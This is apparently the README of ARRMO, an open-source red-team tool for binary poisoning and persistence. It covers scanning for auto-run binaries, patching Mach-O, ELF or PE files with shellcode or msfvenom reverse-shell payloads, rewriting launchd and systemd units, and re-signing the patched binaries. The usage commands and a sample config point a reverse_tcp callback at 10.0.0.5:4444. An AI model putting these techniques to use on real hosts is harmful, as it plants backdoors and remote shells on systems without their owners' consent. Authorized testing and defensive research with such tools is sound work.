Automated Red-team Resource MOdifier
Open-source binary-poisoning / red-team persistence research tool.
⚠️ Use only on systems you own or have explicit, written authorization to test. This tool is designed to modify, persist, and execute payloads on a target host.
- What is ARRMO?
- How it works (diagram)
- Project structure
- Quick start
- Command reference
- Configuration
- Safety model
- Testing
- Docker sandbox
- Contributing & license
ARRMO is a Python-based red-team automation framework that:
- Scans a host for executable binaries (Mach-O, ELF, PE).
- Targets binaries that run automatically via launchd / systemd / cron / scheduled tasks.
- Patches a chosen binary with your payload (shellcode, badge, or Metasploit).
- Persists by rewriting launchd plists or systemd units.
- Triggers execution via
launchctl,systemctl, or direct execution.
Think of it as an educational wrapper around ideas from:
- The Backdoor Factory (binary patching / code caves)
- Metasploit Framework (
msfvenompayloads, reverse shells) - LIEF (cross-platform binary parsing)
- osquery / launchd (discovering auto-running services)
| OS | Scan | Target | Patch | Persist | Trigger |
|---|---|---|---|---|---|
| macOS | ✅ | ✅ (launchd) | ✅ Mach-O | ✅ launchd plist | ✅ launchctl |
| Linux | ✅ | 🟡 (systemd, cron stubs) | ✅ ELF | ✅ systemd | ✅ systemctl |
| Windows | ✅ | 🟡 (scheduled tasks stub) | ✅ PE | ❌ not yet | ❌ not yet |
✅ = implemented
🟡 = partial / stub
❌ = not yet implemented
flowchart TB
subgraph Inputs
A[auth.json signed authorization]
B[config.yaml policy]
C[payload raw / msfvenom / badge]
end
subgraph Pipeline
D[scanner] --> E[targeter]
E --> F[patcher]
F --> G[persister]
G --> H[trigger]
end
A --> I[safety gate]
B --> D
C --> F
I --> F
I --> G
style D fill:#FFD700
style E fill:#FFD700
style F fill:#FFD700
style G fill:#FFD700
style H fill:#FFD700
style I fill:#FF6B6B
sequenceDiagram
participant User
participant CLI as arrmo CLI
participant Safety as safety gate
participant Scanner as scanner
participant Targeter as targeter
participant Patcher as patcher
participant Persister as persister
participant Trigger as trigger
User->>CLI: arrmo auto --config cfg.yaml --auth-file auth.json
CLI->>Safety: load auth.json
Safety-->>CLI: authorized + scope
CLI->>Scanner: walk filesystem
Scanner-->>CLI: binaries.json
CLI->>Targeter: score by launchd/systemd/cron
Targeter-->>CLI: targets.json
CLI->>Patcher: patch target (backup + resign)
Patcher-->>CLI: patched.json
CLI->>Persister: rewrite launchd plist
Persister-->>CLI: persisted
CLI->>Trigger: launchctl kickstart
Trigger-->>CLI: callback / exit code
flowchart LR
A[Original Mach-O] --> B{Parse with LIEF}
B --> C[Find __TEXT segment]
C --> D[Inject __arrmo section with payload]
D --> E[Redirect LC_MAIN entrypoint offset]
E --> F[Strip code signature]
F --> G[Write hello.arrmo]
G --> H[codesign --force --deep --sign -]
H --> I[Poissonned binary ready]
arrmo/
├── arrmo/
│ ├── cli.py # Click CLI
│ ├── safety.py # Authorization gate
│ ├── config.py # YAML config loader
│ ├── scanner/ # Filesystem binary discovery
│ │ ├── identifier.py
│ │ └── walker.py
│ ├── targeter/ # Persistence-value scoring
│ │ ├── launchd.py
│ │ ├── scorer.py
│ │ └── cron.py
│ ├── patcher/ # Mach-O / ELF / PE patcher
│ │ ├── macho.py
│ │ ├── elf.py
│ │ ├── pe.py
│ │ └── payload.py
│ ├── persister/ # launchd / systemd persistence
│ │ ├── darwin.py
│ │ └── linux.py
│ ├── trigger/ # launchctl / systemctl / exec
│ │ └── runner.py
│ └── utils/ # Logging, backups, hashes
├── tests/ # Pytest suite
├── scripts/
│ └── sandbox_e2e_macos.py # Destructive macOS E2E in tmp sandbox
├── examples/
│ └── config.macos.yaml # Sample config
├── Dockerfile
├── docker-compose.yml
├── Makefile
├── pyproject.toml
└── requirements.txt
git clone https://github.com/damoahdominic/arrmo.git
cd arrmo
python3 -m venv .venv
source .venv/bin/activate
pip install -e .[dev]ARRMO refuses destructive operations unless you provide a cryptographically signed authorization file. For development, you can use the SHA-256 self-signature shown below:
python3 - <<'PY'
import hashlib, json
from pathlib import Path
payload = {
"authorized_by": "Your Name",
"authorized_on": "2026-07-28",
"scope": {
"hosts": ["localhost"],
"paths": ["/tmp/arrmo_test"],
"techniques": ["bdf", "launchd_replace"]
},
"signature_sha256": ""
}
stripped = {k: v for k, v in payload.items() if k != "signature_sha256"}
payload["signature_sha256"] = hashlib.sha256(
json.dumps(stripped, sort_keys=True, separators=(",", ":")).encode()
).hexdigest()
Path("auth.json").write_text(json.dumps(payload, indent=2))
PY# config.yaml
scanner:
root_paths:
- /tmp/arrmo_test
formats:
- macho
targeter:
strategy: launchd
patcher:
payload:
type: badge
marker: /tmp/arrmo_pwned
persister:
enabled: false# Create a sandbox target
mkdir -p /tmp/arrmo_test
echo 'int main(void){return 0;}' | cc -x c - -o /tmp/arrmo_test/hello
# Step-by-step
arrmo scan --config config.yaml --output binaries.json
arrmo target --config config.yaml --input binaries.json --output targets.json
arrmo patch --config config.yaml --input targets.json --output patched.json --auth-file auth.json
# Or run everything
arrmo auto --config config.yaml --auth-file auth.json# Top-level options
arrmo --verbose --json-logs <command>
# Available commands
arrmo scan --config cfg.yaml --output binaries.json
arrmo target --config cfg.yaml --input binaries.json --output targets.json
arrmo patch --config cfg.yaml --input targets.json --output patched.json \
--auth-file auth.json [--dry-run] [--allow-root]
arrmo persist --config cfg.yaml --input patched.json --auth-file auth.json
arrmo trigger --target /path/to/binary [--launchctl-label com.foo.bar]
arrmo auto --config cfg.yaml --auth-file auth.json [--dry-run]Full sample config:
scanner:
root_paths:
- /usr/bin
- /usr/local/bin
- /Applications
- /opt
exclude_paths:
- .git
- node_modules
max_file_size_mb: 250
follow_symlinks: false
formats:
- macho
- elf
- pe
targeter:
strategy: launchd # launchd | systemd | cron
prefer_privileged: true
patcher:
payload:
# Option A: raw shellcode file
type: raw
file: ./payload.bin
# Option B: badge marker
# type: badge
# marker: /tmp/arrmo_badge
# Option C: metasploit (requires msfvenom)
# type: reverse_tcp
# lhost: 10.0.0.5
# lport: 4444
backup_extension: .arrmo.bak
adhoc_resign: true
persister:
enabled: true
method: launchd_replace # launchd_replace | launchd_new | systemd
label: com.arrmo.persist| Type | Description | Use case |
|---|---|---|
raw |
Raw shellcode bytes from file | Custom ARM64 / x86 payload |
badge |
Writes a marker file (non-exec) | Smoke test / proof-of-patching |
reverse_tcp |
msfvenom -p osx/x64/shell_reverse_tcp |
Reverse shell callback |
reverse_https |
HTTPS reverse shell | Egress-friendly callback |
ARRMO has multiple guardrails to prevent accidental misuse:
- Authorization file — a signed
auth.jsonmust exist and declare authorized hosts, paths, and techniques. - Scope checking — the target path must be inside one of the authorized scope paths.
- Root protection — destructive commands refuse to run as root unless
--allow-rootis passed. - Backups — original binaries are backed up before patching.
- Ad-hoc re-signing — on macOS, patched binaries are re-signed ad-hoc so the system does not reject them immediately.
- SIP awareness — SIP-protected paths (
/System,/usr/bin, etc.) receive a large target penalty to avoid accidental modification.
flowchart TD
A[Patch request] --> B{auth.json exists?}
B -->|No| Z[Refuse]
B -->|Yes| C{Signature valid?}
C -->|No| Z
C -->|Yes| D{Target in scope?}
D -->|No| Z
D -->|Yes| E{Running as root?}
E -->|Yes| F{--allow-root?}
F -->|No| Z
F -->|Yes| G[Proceed]
E -->|No| G
# Local sandboxed tests
make test
# Expected output
tests/test_integration.py::test_macho_patch_changes_entrypoint PASSEDThis compiles a tiny binary, patches it, and executes it, inside a pytest tmp_path-style temp sandbox.
make test-e2e-macosExpected output:
--- patched run ---
patched exit code: 42
--- backup run ---
backup exit code: 0
make test-dockerContainerized Linux tests can exercise the ELF patcher and safety logic. macOS-specific launchd / codesign tests must run on macOS hardware or VM.
docker compose run --rm arrmo-testThe container runs with an unprivileged user and executes pytest -v. You can also use it to run the CLI against Linux ELF targets.
- License: BSD-3-Clause (see
LICENSE) - Contributions: welcome; please include tests and never bypass the
safetygate in production code paths. - Responsible disclosure: do not use this tool against systems you do not own or have written permission to test.
Is ARRMO malware?
No. It is an open-source research / red-team tool with explicit authorization requirements. It is intended for authorized security testing, CTFs, and malware-defense research.
Can it bypass SIP?
No. The current implementation explicitly deprioritizes SIP-protected paths and performs best-effort ad-hoc re-signing. Bypassing SIP or kernel-level protections is out of scope.
Why does the E2E use exit(42)?
It is a safe, architecture-specific proof that the patched entrypoint actually executes attacker-controlled code without harming the host.